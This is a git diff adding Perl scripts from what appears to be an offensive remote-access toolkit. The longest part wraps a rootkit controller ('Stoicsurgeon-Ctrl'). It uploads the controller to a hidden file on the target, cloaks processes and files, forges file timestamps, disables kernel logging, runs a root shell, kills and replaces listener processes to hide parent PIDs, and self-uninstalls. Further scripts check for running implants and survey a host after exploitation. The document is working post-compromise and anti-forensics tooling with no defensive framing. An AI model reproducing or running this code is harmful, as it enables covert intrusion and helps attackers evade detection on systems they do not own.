returned no valid local Stoicsurgeon-Ctrl file") + unless $stoicctrlfile; + } + my @timeargs=(); + if ($settimeopt) { + @timeargs = @pids; + @pids = (); + mystoicmydie("Malformed -s time set command, files must be complete paths") + if (@therest); + if (@paths > 1) { + my $srcfile = shift(@paths); + mydie("Syntax error: Cannot use integer times on more than one file") + if (@timeargs); + @timeargs = (); + mystoicmydie("invalid -ctrl -s syntax: Use either of these:\n". + " -ctrl -s /path/to/srcfile /path/to/targetfile1 [/path/to/more]\n". + " -ctrl -s /path/to/targetfile atime a_nsec mtime m_nsec ctime c_nsec\n". + "") + unless (@paths); + putctrl(); + mydoit("-setenv SEED=$seed") + unless ($seedset eq $seed); + my @tmpopts = ("g"); + my ($newtimes,$newnopen,@newtimes) = + doctrl(\@tmpopts,$srcfile); + chomp($newtimes[0]); + $extraargs = $newtimes[0]; + @timeargs = split(/\s+/,$newtimes[0]); + $settimeopt=0; + } else { + mystoicmydie("Missing time arguments, six integers required:\n". + "atime atime_nsec mtime mtime_nsec ctime ctime_nsec") + unless @timeargs >= 6; + $extraargs = "@timeargs"; + } + } else { + mystoicmydie("PIDs can never be 0 or 1, bad pids: @zeros @ones") + if (@zeros or @ones); + mystoicmydie("You cannot combine PIDs and PATHs: @pids @paths") + if (@pids and @paths); + mystoicmydie("Invalid command line arguments: @therest + +therest=(@therest) has ".scalar @therest. " elements + + +") + if (@therest and "@therest"); + } + if (%host_hiddendirs and $hiddensensitive and $targetppid ne $initpid and !$lsdiropt) { + my ($a,$ies,$the) = (" a","y","the"); + ($a,$s) = ("","ies","one of the") if (scalar keys %host_hiddendirs > 1); + my ($s2) = "s"; + $s2 = "" unless (@doopts > 1); + my $dirlist = " ".join("\n ",keys %host_hiddendirs); + offerabort($COLOR_FAILURE."You have$a hidden director$ies:\n". + $dirlist."\n\n". + "If you ontinue with the $optlist option$s2, $prog will ORPHAN your\n". + "window (i.e., kill your parent/listener and start a new one here in\n". + "$targetcwd). This protects us from having a parent pid associated with $the\n". + "hidden director$ies. The NEW listener will also get the $optlist option$s2 applied."); + my ($listenoutput) = doit("kill -9 $targetppid", + "-listen $targetport",); + @pids = grep ! /^$targetppid$/ , @pids; + my ($newpid) = $listenoutput =~ /noclient: server successfully forked new process at PID (\d+)\D/; + push(@pids,$newpid) if ($newpid > 1); + $targetppid = $initpid; + + } +} #myinit + +sub mydoit { + local (@what) = (@_); + my ($o,$n,@o) = doit(@_); + $completeoutput .= $o; + push (@completeoutput,@o); + return ($o,$n,@o); +} + +sub doctrl { + local ($optsptr,@args) = (@_); + my ($errs,$douninstalllast) = (); + my ($ctrloutput,$ctrlnopenlines,@ctrloutput); + my %setalready = (); + foreach my $optltr (@$optsptr) { +#dbg("In doctrl(@_) at optltr=$optltr"); + if ($optltr eq "U" or $optltr eq "n") { + $douninstalllast = $optltr; + next; + } + foreach my $arg (@args) { + next unless $arg; + my $cmd = ".$ctrlltr -$optltr $arg $extraargs ; echo \$?"; + $cmd = ".$ctrlltr -$optltr ; echo \$?" if $optltr =~ /[Uund]/; + my $shcmd = $cmd; + $shcmd =~ s/ ; echo.*//; + my $lcmd = "-lsh echo \"\\\\#RUNNING CTRL: $shcmd\""; + $lcmd =~ s/\s+$//g; + $cmd =~ s/ +/ /g; +# if (!$redodirtest and $optltr eq "d" and $host_hiddendir and $host_hiddendir_viastoic) { +# progprint($COLOR_NORMAL. +# "\n\nHidden directory was previously determined to be:\n\n ". +# $COLOR_FAILURE. +# $host_hiddendir.$COLOR_NORMAL. +# "\n\n(Use -R to find it anew2 on target.)" +# ); +# next; +# } + if ($optltr eq "g" and $host_gottimes{$arg} and !$forcegettime) { + #$lcmd = "-lsh echo \"\\\\#RUNNING CTRL: $shcmd\""; + my $results = $host_gottimes{$arg}; + $results =~ s,\n,\\\\n,g; + $lcmd = "-lsh echo \"\\\\#USING EARLIER RESULT FOR $arg: $results\""; + mydoit($lcmd); + $ctrloutput = $host_gottimes{$arg}; + @ctrloutput = split(/\n/,$host_gottimes{$arg}); + } else { + mydoit($lcmd); + ($ctrloutput,$ctrlnopenlines,@ctrloutput) = mydoit($cmd); + newhostvar("host_gottimes{$arg}",$ctrloutput) + unless (length $host_gottimes{$arg}); + } + if ($gettimeopt) { + push(@setpastables,"-gs stoicctrl -As $arg $ctrloutput[0]") + if ($ctrloutput[0] =~ /\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+\d+/ and + !$setalready{$arg}++ + ); + } elsif ($optltr eq "d" and @ctrloutput) { + my $hdir = $ctrloutput[0]; +dbg("We got -ctrl -d ctrloutput=(@ctrloutput) hdir=$hdir="); + if ($hdir =~ m,^/,) { + newhostvar("host_hiddendir",$hdir, + "hiddendir_viastoic","yes"); + } else { + newhostvar("host_hiddendir","", + "hiddendir_viastoic",""); + } + } + my @notfound = grep /^(sh: .$ctrlltr: not found)$/,@completeoutput; + if (@notfound) { + # If we ever try to use ctrl and it is not there, we die. + # What removed it? + rmctrl(force); + mydie("FAILURE:\n\n". + "FAILURE: StoicsurgeonCtrl .$ctrlltr is not there and should be,\n". + " did you manually remove it? Try again and a fresh one\n". + " will be uploaded."); + } +# $ctrloutputcumulative .= $ctrlnopenlines.$ctrloutput; + if ($ctrloutput[$#ctrloutput] eq "0") { + dbg("Success doing $cmd in autostoicctrl"); + } else { + $cmd =~ s/ ; .*//g; + if ($ctrloutput[$#ctrloutput] ne "1") { + # Force this to 0 as who knows what just happened. + $reusestoic=0; + mystoicmydie(" StoicsurgeonCtrl command \"$cmd\" return value is non-zero but not 1 as expected: $ctrloutput[$#ctrloutput]"); + } + mywarn(" StoicsurgeonCtrl command \"$cmd\" return value is 1"); + $warnings++; + push(@finalout, + " StoicsurgeonCtrl command \"$cmd\" return value is 1"); +#dbg("completeoutput=(@completeoutput)"); + } + } + } + if ($douninstalllast) { + my $cmd = ".$ctrlltr -$douninstalllast ; echo \$?"; + my $usage = "REMOVED"; + my $partially = " (UNPATCHED)" if ($douninstalllast ne "U"); + my $which = "UNINSTALL"; + $which = "UNPATCH" if ($douninstalllast eq "n"); + my $lcmd = "-lsh echo \"\\\\#RUNNING CTRL/$which: .$ctrlltr -$douninstalllast\""; + $lcmd =~ s/\s+$//g; + $cmd =~ s/ +/ /g; + mydoit($lcmd); + ($ctrloutput,$ctrlnopenlines,@ctrloutput) = mydoit($cmd); +# $ctrloutputcumulative .= $ctrlnopenlines.$ctrloutput; + # Regardless of success here, we unset this likely dead variable + my ($ver) = $stoicctrlfile =~ /([\d\.]+)/; + if ($stoicctrlfile =~ m,install.*/up/,) { + my $etcfile = $stoicctrlfile; + $etcfile =~ s,up/.*,etc/VERSION,; + $ver = $1 if (`grep -i stoic $etcfile` =~ /v([\d\.]+)/); + } + $ver = "0.0.0.0" unless $ver; + if ($ctrloutput[$#ctrloutput] eq "0") { + dbg("Success doing $cmd in autostoicctrl in douninstalllast=$douninstalllast="); + my $at = gmtime(); + my ($content,$warning) = logtool( + "STOICSURGEON", + "$ver", + "SUCCESSFUL", + "$usage", + "Uninstalled at $time via $prog $origargs$partially: hidden was $host_hiddendirlist, other tools may have been present, installed STOIC version may differ from the version of Ctrl used here", + ); + } else { + $cmd =~ s/ ; .*//g; + mywarn(" StoicsurgeonCtrl command \"$cmd\" return value is non-zero: $ctrloutput[$#ctrloutput]"); + push(@finalout, + " StoicsurgeonCtrl command \"$cmd\" return value is non-zero: $ctrloutput[$#ctrloutput]"); + $warnings++; + dbg("FAILED doing $cmd in autostoicctrl in douninstalllast=$douninstalllast="); + my $at = gmtime(); + my ($content,$warning) = logtool( + "STOICSURGEON", + "$ver", + "FAILED", + "$usage", + "Uninstall attempted at $time via $prog $origargs$partially: hidden was $host_hiddendirlist, other tools may have been present, installed STOIC version may differ", + ); + } + $allcontent .= $content if defined $allcontent; + $allwarning .= $warning if defined $allwarning; + } + @errs = grep /^(1|sh: .$ctrlltr: not found)$/,@completeoutput; +#completeoutput=(@completeoutput) +dbg(" + +errs=(@errs) +"); + return ($ctrloutput,$ctrlnopenlines,@ctrloutput); +}#doctrl + +sub findstoicfiles { + my @hiddendirs = (); + my @safehiddendirs = (); + my ($hiddendir,$safehiddendir,@output) = + gethiddendir(1,0,\@hiddendirs,\@safehiddendirs,"nosleep",$startpath); + my @lslist = (); + dbg("In findstoicfiles(@_) +hiddendirs=@hiddendirs= +safehiddendirs=@safehiddendirs="); + foreach my $safehiddendir (@safehiddendirs) { + dbg("gethiddendir() = ($hiddendir,$safehiddendir,@output)"); + push @lslist,"$safehiddendir*"; + } + foreach $pre ("audit","boot","cache","core","cron","init","inet", + "filesys","key","ntp","root","sys","rpc","rpcd","vol") { + foreach $suf ("adm?","agen?","con?","clien?","inf?","mg?","stat?","ser?","svc?") { + push(@lslist, + "/*bin/$pre$suf", + "/usr/*bin/$pre$suf", + "/etc/rc*/*/S85$pre$suf", + "/etc/rc*/S85$pre$suf", + ); + push(@lslist, + "/etc/sysconfig/modules/$pre$suf.modules" + ) if $linuxtarget; + } + } + if ($linuxtarget) { + push(@lslist, + "/*bin/initseria?", + "/usr/*bin/initseria?", + "/etc/rc.seria?", + "/etc/rc.d/rc.seria?", + "/*bin/modloa?", + "/usr/*bin/modloa?", + "/etc/rc.d/rc.module?", + "/etc/rc.module?", + "/etc/conf.d/rc-extr?", + "/lib/bootcycl?/stat?", + "/*bin/stat?", + "/usr/*bin/stat?", + "/var/tmp/faipprep00?", + + # Debian/Ubuntu (splash) + "/lib/init/splash-function?", + "/lib/init/splash-setting?", + "/usr/*bin/splash-setting?", + "/*bin/splash-setting?", + + ); + } +# dbg("lslist=($lslist)\n\n\n\n\n\nlength: ".length $lslist); + return nopenlss("-U",@lslist); +}#findstoicfiles + +sub putctrl { + local ($leaveup) = (@_); + $reusestoic++ if $leaveup and !$reusestoic; + # Figure out safe letter only first time through + if ($ctrluploaded) { +# do "$optmp/stoicuploaded.$nopen_rhostname" +# if -s "$optmp/stoicuploaded.$nopen_rhostname"; + newhostvar(); +# dbg("In putctrl(@_) with ctrluploaded=$ctrluploaded and \$ctrluploaded{$key}=".$ctrluploaded{$key}."="); + return; + } + my $tryltr = $ctrlltr; + while ($ctrlltr eq "b") { + $tryltr = chr(ord($tryltr)+1); + my ($remoteexists,$nopenlines,@output) + = mydoit("-ls $putdest/.$tryltr"); + mystoicmydie("This is very odd...we got to z and still no go.") + if ($tryltr eq "z"); + next if $remoteexists; + $ctrlltr = $tryltr; + } + ($output,$nopenlines,@output) = mydoit("-ls -d $putdest"); + mystoicmydie("$putdest does not exist") + unless ($output and $output =~ /^\s*d.* $putdest$/); + ($output,$nopenlines,@output) = + mydoit("-put $stoicctrlfile $putdest/.$ctrlltr"); +# for (my $i=0;$i<@output;$i++) { +# dbg("output[$i]=$output[$i]="); +# } + my ($size) = (split(/\s+/,$output[$#output]))[4]; + my $localsize = -s $stoicctrlfile; + unless ($size == $localsize) { + mystoicmydie("Cannot continue, uploaded file not correct size ($size != $localsize)"); + } + my $dest = ""; + my $depth = $targetcwd; + $depth =~ s,[^/],,g; + $depth = length($depth); + $dest .= "../" while ($depth--); + #dbg("depth=$depth= dest=$dest="); + if ($putdest eq ".") { + $dest .= $targetcwd; + } else { + $dest .= $putdest; + } + $dest =~ s,/+,/,g; + newhostvar(ctrluploaded,"$dest/.$ctrlltr", + "ctrluploaded{$putdest/.$ctrlltr}",$stoicctrlfile, + ctrlltr,$ctrlltr, + ); + if ($pauseafterupload) { + offerabort("Pausing after Ctrl upload, as requested with -b option."); + } +}#putctrl + +sub mystoicmydie { + rmctrl() if $socket; +dbg(" + +socket=$socket= + +just called rmctrl() + + + +in mystoicmydie(@_) with killstrings=(@killstrings)"); + mydie("\n\n@_"); +}#mystoicmydie + +sub setworkingdir { + local ($wdir,$noupload) = (@_); + dbg("In setworkingdir(@_)"); + my (@mypath,$mypath,$myseed) = (); + if ($wdir and !$noupload) { + # Remove trailing slash if any + $wdir =~ s,/+$,,; + + mystoicmydie("Invalid working directory, must be full PATH: -w $wdir") + unless (!$wdir or $wdir =~ m,/,); + mystoicmydie("Cowardly refusing to work out of /") + if $wdir eq ""; +# my ($output,$nopenlines,@output) = mydoit("-ls -d $wdir"); +# mystoicmydie("-w $wdir does not exist") +# unless $output; +# mystoicmydie("-w $wdir must be a directory") +# unless $output =~ m,^\s*d.* $wdir$,; + + if ($host_workingdir and $host_workingdir ne $wdir) { + progprint("RESETTING host-wide variable host_workingdir from:\n". + " $host_workingdir to $wdir", + $COLOR_FAILURE); + } + # Remember this dir for future use + newhostvar("host_workingdir",$wdir); + + # Good to use it, add to path and set $putdest to there. + # When adding path, we remove any hiddens if that is not safe. + my $extrapathopt = $hiddensensitive ? "NOHIDDEN" : ""; + @myenv = nopenaddpath($extrapathopt,$wdir); + foreach (@myenv) { + $mypath = $1 + if /^PATH=(.*)$/; + $myseed = $1 + if /^SEED=(.*)$/; + } + } + return ($myseed,$mypath,@myenv); +} + +sub setusagetexts { + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=stoicctrl\" is used. + +"; + $gsusagetext=" +Usage: + +$prog replaces the now defunct (and dangerous) NOPEN builtin \"-ctrl\". + +The correct $opup/stoicctrls/stoicsurgeon_ctrl* is determined and used +with the correct options to replace what -ctrl used to do. This includes the +\"-r\" functionality and a new \"-D\" option (-C/-E and -c/-e, respectively, +on this NOPEN server and its non-1 parent when no PID is given). + +If the PID(s) is not given on command line, it defaults to your PID and +your parent's PID (if not 1). + +$prog allows you to give multiple options and/or multiple arguments to +those options. You can give several option letters (that make sense) and/or +several PIDs or several PATHs (not both). When setting times on files, you +can give several destination files and either a reference source file or +the time integers to set (atime a_nsec mtime m_nsec ctime c_nsec). E.g.: + + -ctrl -kU + -ctrl -EC 12345 54321 44332 + -ctrl -g /etc/passwd /etc/shadow /etc + -ctrl -s /path/to/srcfile /path/to/targ1 [ /path/to/targ2 ...] + -ctrl -s /etc/passwd /etc/shadow /etc ### ### ### ### ### ### + +## Options passed to Ctrl: +######################################################## + -C [pid|/file/path] Cloak the process or file path + -c [pid|/file/path] Uncloak the process or file path + -s /file/path atime atime_nsec mtime mtime_nsec ctime ctime_nsec + Set the times associated with a file path + -g /file/path Get the times associated with a file path + -s /file/path0 /file/path1 [ /file/path2 [ /file/path3 ] ] + Uses Ctrl -g on /file/path0, then runs Ctrl -s + with those times on the remaining /file/pathNs. + -d Display default cloaked directory + -E pid Enable ability to see cloaked + processes and files and call into the kernel services. + -e pid Disable ability to see cloaked + processes and files and call into the kernel services. + -F pid Enable ability to see cloaked files ONLY + -f pid Disable ability to see cloaked files ONLY + -P pid Enable ability to see cloaked processes ONLY + -p pid Disable ability to see cloaked processes ONLY + -K pid Designate as to be killed upon shutdown + -k pid Designate as to NOT be killed upon shutdown + -L N Disable kernel logging for N seconds + -r /bin/sh Execute the program as the root user + -T signal Send signal to all killable cloaked processes + -U Invoke a full uninstall (self destruct) + -n Invoke a partial uninstall (unpatch and unload) + +## autostoicctrl GSOPTS +######################################################## + -h Show this help + -v Show version + -a When using -g, force getting CURRENT result when older one is + not desired for some reason (should NEVER need this) + -H Compare output from the following commands, done first without + priveleges, then with: + =ps, netstat -an$extranetstatops, and -ctrl -W (looking for hidden) + (similar to =psdiff for IN, just mor ecomplete. implies -w /tmp.) + -H [?] With one or more arguments, you can limit which commands you + compare. Arguments can be ps or =ps (both will do =ps), ls or -ls + (both do the -ctrl -W), and netstat. + - One argument can be \"nosleep\", which avoids the delay before + the differences are summarized for you. + - To do something other than the default ps and netstat commands, + the argument can be the complete command, except with any spaces + replaced with underscores (which are removed before executed). + E.g.: -ctrl -H /usr/ucb/ps_auxww netstat_-a + -W Where is Stoic? Looks for all possible STOIC remnants safely + (? wildcard is used so you can do this unpriveleged) + -i file Read list of target files from this local file (for -C or -g) + -o file Save output locally to file (in $optmp unless full path) + -w dir Use \"dir\" as location to upload/execute + -R Re-do the -L/-d option to discover anew the hidden directory. + -X Re-set--do not use previously determined Ctrl binary, you + will instead be prompted for one. + -A Do NOT delete uploaded Ctrl file, later calls to $prog will + re-use the one up there if it is there. Any call to $prog + WITHOUT -A will result in the Ctrl there being deleted. + -N file New Stoicsurgeon-Ctrl file, different from previously used + on target (used after STOIC upgrade). + -b Pause after uploading Ctrl (to allow another window to \"bless\" it) + -z Clear previous $prog output from global \@completeoutput + -L [R|N] Do a safe (wildcarded) -ls to find hidden dir if it is there. + NOTE: This also finds hidden IN dir, if any. [R|N] is required: + -LR : Do a fresh -ls to see if hidden state has changed + -LN : Use previous results if positive for a hidden dir. + -l Like -L, but also does a recursive -ls of the directory if found. + -S SEED Use this SEED rather than calculating from target hostname + +Usage: $prog \[GSOPTS\] OPTIONS PATH [PATH2 [PATH3]...] + $prog \[GSOPTS\] OPTIONS PID [PID2 [PID3]...] + $prog \[GSOPTS\] -T SIGNAL + +"; +}#setusagetexts diff --git a/Linux/etc/autostrifecheck b/Linux/etc/autostrifecheck new file mode 100755 index 0000000..2ba9874 --- /dev/null +++ b/Linux/etc/autostrifecheck @@ -0,0 +1,244 @@ +#!/usr/bin/env perl +## +$VER="2.0.0.2"; +$| = 1 ; + +myinit() ; + +my $onlinux=1; +my $tmpfile = ""; +#($alloutput,$nopenlines,@output) = doit("ls -alL /proc/*/exe","-ls -R /proc/*/object/a.out"); +($alloutput,$nopenlines,@output) = doit("ls -alL /proc/*/exe"); +if (@output < 2) { + $onlinux=0; + ($alloutput,$nopenlines,@output) = doit("-ls -R /proc/*/object/a.out"); +} + +if (@output < 2) { + mydie (".\n\nUNABLE TO DETERMINE IF STRIFEWORLD IS RUNNING. There is no /proc\n". + "Find it yourself."); +} + +my ($output,$moreoutput,$warnings,$previous) = (); +@swkillthese=(); +foreach my $line (@output) { + chomp($line); + my ($l,$checksumsmatch,@fields,$perms,$size,$remotefile, + $pid,$downloadedfile,$remotesum,$localsum, + ) = (); + $l = $line; + $l =~ s/\s+/ /g; + @fields = split(/ /,$l); + $perms = $fields[0]; + next unless ($perms =~ /^-/); + next unless $size = $fields[4]; + next if $size == 0; + next unless $strifefile{$size}; + next unless $remotefile = $fields[$#fields]; + ($pid) = $remotefile =~ m,/proc/(\d+)/,; + $downloadedfile = "$opdown/$nopen_rhostname/proc/$pid/exe" + if (-e "$opdown/$nopen_rhostname/proc/$pid/exe"); + $downloadedfile = "$opdown/$nopen_rhostname/proc/$pid/object/a.out" + if (-e "$opdown/$nopen_rhostname/proc/$pid/object/a.out"); + $comparesums=1 if $downloadedfile; + if ($comparesums) { + if ($downloadedfile) { + $previous=" from previous download"; + } else { + if ($onlinux) { + unless ($tmpfile) { + my ($output,$nopenlines,@output) = ("1"); + while ($output) { + $tmpfilext++; + ($output,$nopenlines,@output) = doit("-ls .t.$tmpfilext"); + } + $tmpfile = ".t.$tmpfilext"; + } + ($alloutput2,$nopenlines2,@output2) = doit("-lcd /current/down", + "cp -p $remotefile $tmpfile", + "-get -l $tmpfile", + "-rm $tmpfile" + ); + ($alloutput2,$nopenlines2,@output2) = doit("-ls $tmpfile"); + if (@output2) { + $warnings .= "ERROR: \aTemporary file $tmpfile still exists: @output2\n"; + } + mkdir("$opdown/$nopen_rhostname/proc/"); + mkdir("$opdown/$nopen_rhostname/proc/$pid"); + rename("$opdown/$tmpfile","$opdown/$nopen_rhostname/proc/$pid/exe"); + $downloadedfile = "$opdown/$nopen_rhostname/proc/$pid/exe"; + } else { + ($alloutput2,$nopenlines2,@output2) = doit("-get $remotefile"); + ($downloadedfile) = $alloutput2 =~ /[^\/] -. (\/.*)/; + } + } + my $md5sum = getmd5sum($downloadedfile); + if ($strifefile{$md5sum}) { + push(@swkillthese,$pid); + $checksumsmatch = "$COLOR_NOTE (md5sums$previous also MATCH)$COLOR_FAILURE"; + } else { + $moreoutput .= " pid=$pid"; + } + } + $output .= sprintf("\nRemote pid: %-9d Remote file$checksumsmatch:\n%-60s\n",$pid,$line); + $output .= $strifefile{$size}; + $output .= "\n\n$warnings" if (length $warnings); +} +if ($output) { + # So we have matching size, at least. + if ($moreoutput) { + my $more = ", =swkill will NOT be done for them" + if $runswkill; + $moreoutput = "No md5-matching local binary for these pids$more: +$moreoutput"; + } + if (@swkillthese and !$runswkill) { + $moreoutput .= "\n\nPastable in case you want it: =swkill @swkillthese"; + } + + progprint("${COLOR_FAILURE} Found the following SIZE matches:\n". + "$output\n". + "$moreoutput"); + + if ($runswkill) { + unless (@swkillthese) { + mywarn("No remote processes have local md5sums matching $opup/strifeworld/* or $opup/strife*"); + } else { + my ($ss,$s) = ("that same pid is"); + if (scalar @swkillthese > 1) { + $s = "s"; + $ss = "those same pids are"; + } + mywarn("REMEMBER: =swkill does NOT kill SW, $ss still running\n". + "$COLOR_NORMAL\tRunning =swkill command on the pid$s (@swkillthese)"); + sleep 1; +# foreach my $pid (@swkillthese) { + ($alloutput,$nopenlines,@output) = doit("=swkill @swkillthese","-lt"); +# } + } + } + + mywarn("NOTE: Above local file(s) match remote\n". + " binary in size ONLY (so far).\n". + " Use -c to download and also compare md5 checksums, \n". + " or -k to compare checksums AND run =swkill on pids with\n". + " an exact md5sum match to a local strifeworld file.\n\n") + unless $comparesums; +} else { + mywarn( "\t SW does not appear to be running.\n\n". + "\t\t\t No running remote files match the size of any\n". + "\t\t\t local $opup/strifeworld/* or $opup/strife* files."); +} + +sub myinit { + $willautoport=1; + require "../etc/autoutils" ; + $prog = "-gs strifecheck"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"-gs strifecheck\" or +\"=strifecheck\" is used. + +"; + $gsusagetext="Usage: -gs strifecheck [options] + +-gs strifecheck looks in the remote system's /proc/ for any file +matching in size to any strifeworld binaries in $opup/strifeworld*. +The user is then shown the matching file, its PID and its ps listing. + +If the -c option is chosen, the remote matching binary is downloaded +and its checksum compared with the local file. + +NOTE: On Linux, $prog has to make a temporary copy of the file + /proc/PID/exe file by copying it to ./.t.\$\$ then pulling + the copy. The copy is removed after the download. + +OPTIONS + + -c Download and checksum compare the remote file(s), if found + + -k Run =swkill PID for each PID with a matching checksum + (implies -c, but will not download remote binaries if that + was already done via a -c.) + +"; + mydie("bad option(s)") if (! Getopts( "hvdck" ) ) ; + $debug = $opt_d ; + $tmpfilext = "$$"; + $runswkill = $opt_k; + $comparesums = ($opt_c or $runswkill); + usage() if ($opt_h or $opt_v or @ARGV) ; + + # Confirm our local files are as expected, populate + # %strifesize and %strifefile + %strifesize=(); + foreach my $dir ($opup,"$opup/strifeworld") { + unless (opendir(DIR,$dir)) { + mydie("Cannot opendir(DIR,\"$dir\"): $!"); + } + foreach my $strifefile (grep { (/^strife/i) } sort readdir DIR) { + next if (-d $strifefile); + my $file = "$dir/$strifefile"; + $strifesize{$file} = -s $file ; + $md5sum{$file} = getmd5sum($file); + $strifefile{$strifesize{$file}} .= " $file $md5sum{$file}\n" ; + $strifefile{$md5sum{$file}} = $strifefile{$strifesize{$file}} ; + } + closedir(DIR); + } + $socket = pilotstart(quiet); +} #myinit + +sub getmd5sum { + local ($locfile) = (@_); + my $tmp = `md5sum $locfile`; + $tmp =~ s/\s.*//g; + return $tmp; +} + +sub printboth { + local ($line,$code,$color,@more) = (@_) ; +# printlater($color.$line.$COLOR_NORMAL) ; + printlater($line) ; + if ($printsh_out) { + if ($code eq "multiplelines") { + foreach (split(/\n/,$line)) { + print SH_OUT $_."\n" ; + } + } else { + print SH_OUT "$color$line$COLOR_NORMAL" ; + } + } +}#printboth + +sub mymywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + + $badlines .= "$what" ; + $badcontent++ unless $what =~ /unable to sort by /i ; + if ($autodone) { + my $more = "" ; + open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ; + $more = "\nPotentially Bad Processes:\n" unless $nomore++ ; + print MYOUT "$more$what\n" ; + close MYOUT + } +} + +sub printlater { + # one line per + local ($str) = (@_); + chomp($str); + $printlater .= $str."\n"; +#dbg($printlater); +} diff --git a/Linux/etc/autosurvey b/Linux/etc/autosurvey new file mode 100755 index 0000000..3ce4895 --- /dev/null +++ b/Linux/etc/autosurvey @@ -0,0 +1,1834 @@ +#!/usr/bin/env perl +## +$VER="1.1.0.13"; +$| = 1 ; +# Used after exploits, -gs survey surveys things not done by autodone. + +myinit() ; +unless (-s $findfile) { + my ($ans) = offerabort(" $findfile\n\nNo find file exists.\n\n". + "Are you sure you want to do a survey yet?\n","N"); + mydie("Aborted by user") if $ans eq "n"; +} +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid) + = parsestatus(); + +my ($outputls,$nopenlines,@outputls) = +nopenlss("-UQ", + "/var/*/*acc*", + "/var/*acc*", + ); +my ($outputw,$nopenlines,@outputw) = + doit("-w"); + +# They will check -w and -pacct output above. Based on that they +# may abort and turn on -b $builtinsonly mode. +$outputls = join("\n",uniqify_array(@outputls)); +$outputls =~ s,\n\n\n,\n\n,g; +$outputls = "${COLOR_FAILURE}# NO PACCT FILES MATCHING /var/*/*acc* OR /var/*acc*" + unless $outputls; +$outputw =~ s,\n\n\n,\n\n,g; +offerabort + ($outputw. + "# Output from nopenlss(-U,/var/*/*acc*,/var/*acc*):\n". + $outputls. + "$COLOR_FAILURE\n\n CHECK THE -w$COLOR_NOTE AND$COLOR_FAILURE pacct LISTING ABOVE (only files are shown)\n\n". + "You can abort the survey now if either someone troublesome is logged\n". + "in or the -pacct above shows a process accounting issue.", + ); + +#chomp($partsdonesofar = +# `cd $optmp ; ls -alrt .survey*done.$nopen_rhostname 2>/dev/null| awk '{print \$8,\$9}'`."\n"); +if ($partsdonesofar) { + my $countdone = scalar split(/\n/,$partsdonesofar); + my $more = + "$COLOR_NORMAL\n". + "The survey sections above have been done previously this op.\n". + "You will have the opportunity to repeat them, but the default\n". + "for the sections above will be to kip them.\n\n"; + "op. To re-do them, bort now and re-run $prog with the -O option"; + $more = + "$COLOR_NORMAL\n". + "The survey sections above have been done previously this op.\n". + "You used -O (do-Over), so you will have the opportunity to repeat\n". + "(or kip) them as desired.\n\n" + if $doover; + if ($nopauses) { + # The extra color-normal in here is to split up the "NL" string, which + # sub dolocalecho will replace with a newline. + $more = + "$COLOR_NORMAL\n". + "Note that the survey sections above have been done previously this op.\n". + "If you continue now, ON${COLOR_NORMAL}LY those section(s) not yet done will be done.\n". + "If you want the chance to repeat some sections, bort now run $prog\n". + "without the -Y option. To repeat ALL without any prompts, use both -Y\n". + "and -O."; + $more = + "$COLOR_NORMAL\n". + "Note that the survey sections above have been done previously this op.\n". + "If you continue now, ALL of them will be repeated with no pause or chance\n". + "to abort in between (since you used -Y/nopause). To choose which to re-do,\n". + "bort now and remove the -Y option." + if ($doover); + $more = "\n\n". + "ALL sections will be repeated, without pause and without the ability to abort\n". + "in between. (Abort now and remove -Y option, and you'll have the chance to\n". + "kip some surveys or bort between them.)\n\n" + if ($doover and $countdone == scalar @surveytypes); + } + offerabort + ( + $COLOR_NOTE. + "Survey sections are: @surveytypes\n\n". + $COLOR_FAILURE. + $partsdonesofar. + $more + ); +} + + +unless ($builtinsonly) { + doit("w"); + offerabort + ("The unix w above may differ from the -w.\n". + "If it's bad enough, you should$COLOR_FAILURE bort$COLOR_NORMAL now.\n\n". + "Last chance to abort before using more remote unix commands." + ); +} +my $popupoffset = 10; +my $donecount = 0; +my $firsttime = 0; +my $surveysdone = ""; +my $aborting = 0; +my $extraoutput = ""; +my $timelastcmd = time(); +my @logfilestailed = (); + + +# These now in gsgets +# Now using mydo(gettail) after sett#ing @ARGV to our -logcheck arguments. +#mydo("gettail","-l","-250", +# "/var/adm/syslog", +# "/var/adm/messages", +# "/var/log/syslog", +# "/var/log/messages", +# ); + +while (1) { + foreach my $surveytype (@surveytypes) { + $surveysdone .= "\t$surveytype\n" + if skipordo($surveytype); + last if $aborting; + } + last if $donecount or $aborting; + my ($ans,$longans) = mygetinput + ($COLOR_NOTE. + "Sections include: @surveytypes\n\n". + $COLOR_FAILURE. + $partsdonesofar. + $COLOR_NORMAL. + "Above files in $optmp indicate when the survey components were done\n". + "previously during this op, so no parts of the survey were done. You can\n". + "use the -O option later to re-do all or some portions of the survey, or\n". + "answer \"RE-DO\" now to do so. (Default will be to kip them, change\n". + "that to ontinue for those you wish to repeat.)\n\n". + "Exit or RE-DO?","Exit","RE-DO" + ); + last if $ans eq "e"; + + # Throw away this extra output, will not apply since we + # skipped ALL and may now re-do some. + $extraoutput = ""; + + $donecount++; # If they skip em all again, no need to stay in here + foreach my $key (keys %skip) { + delete $skip{$key}; + } +} +$surveysdone = "\tNONE" unless $surveysdone; +chomp($partsdonesofar = + `cd $optmp ; ls -alrt .survey*done.$nopen_rhostname 2>/dev/null| awk '{print \$8,\$9}'`."\n"); +$partsdonesofar =~ s/\n/\n\t/g; +progprint("$COLOR_FAILURE SURVEY FINISHED\n\n". + "Completed this pass:\n$surveysdone\n\n". + "Completed this op:\n\t$partsdonesofar". + ""); +## END MAIN ## + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + do $autoutils; + $prog = "-gs survey"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + 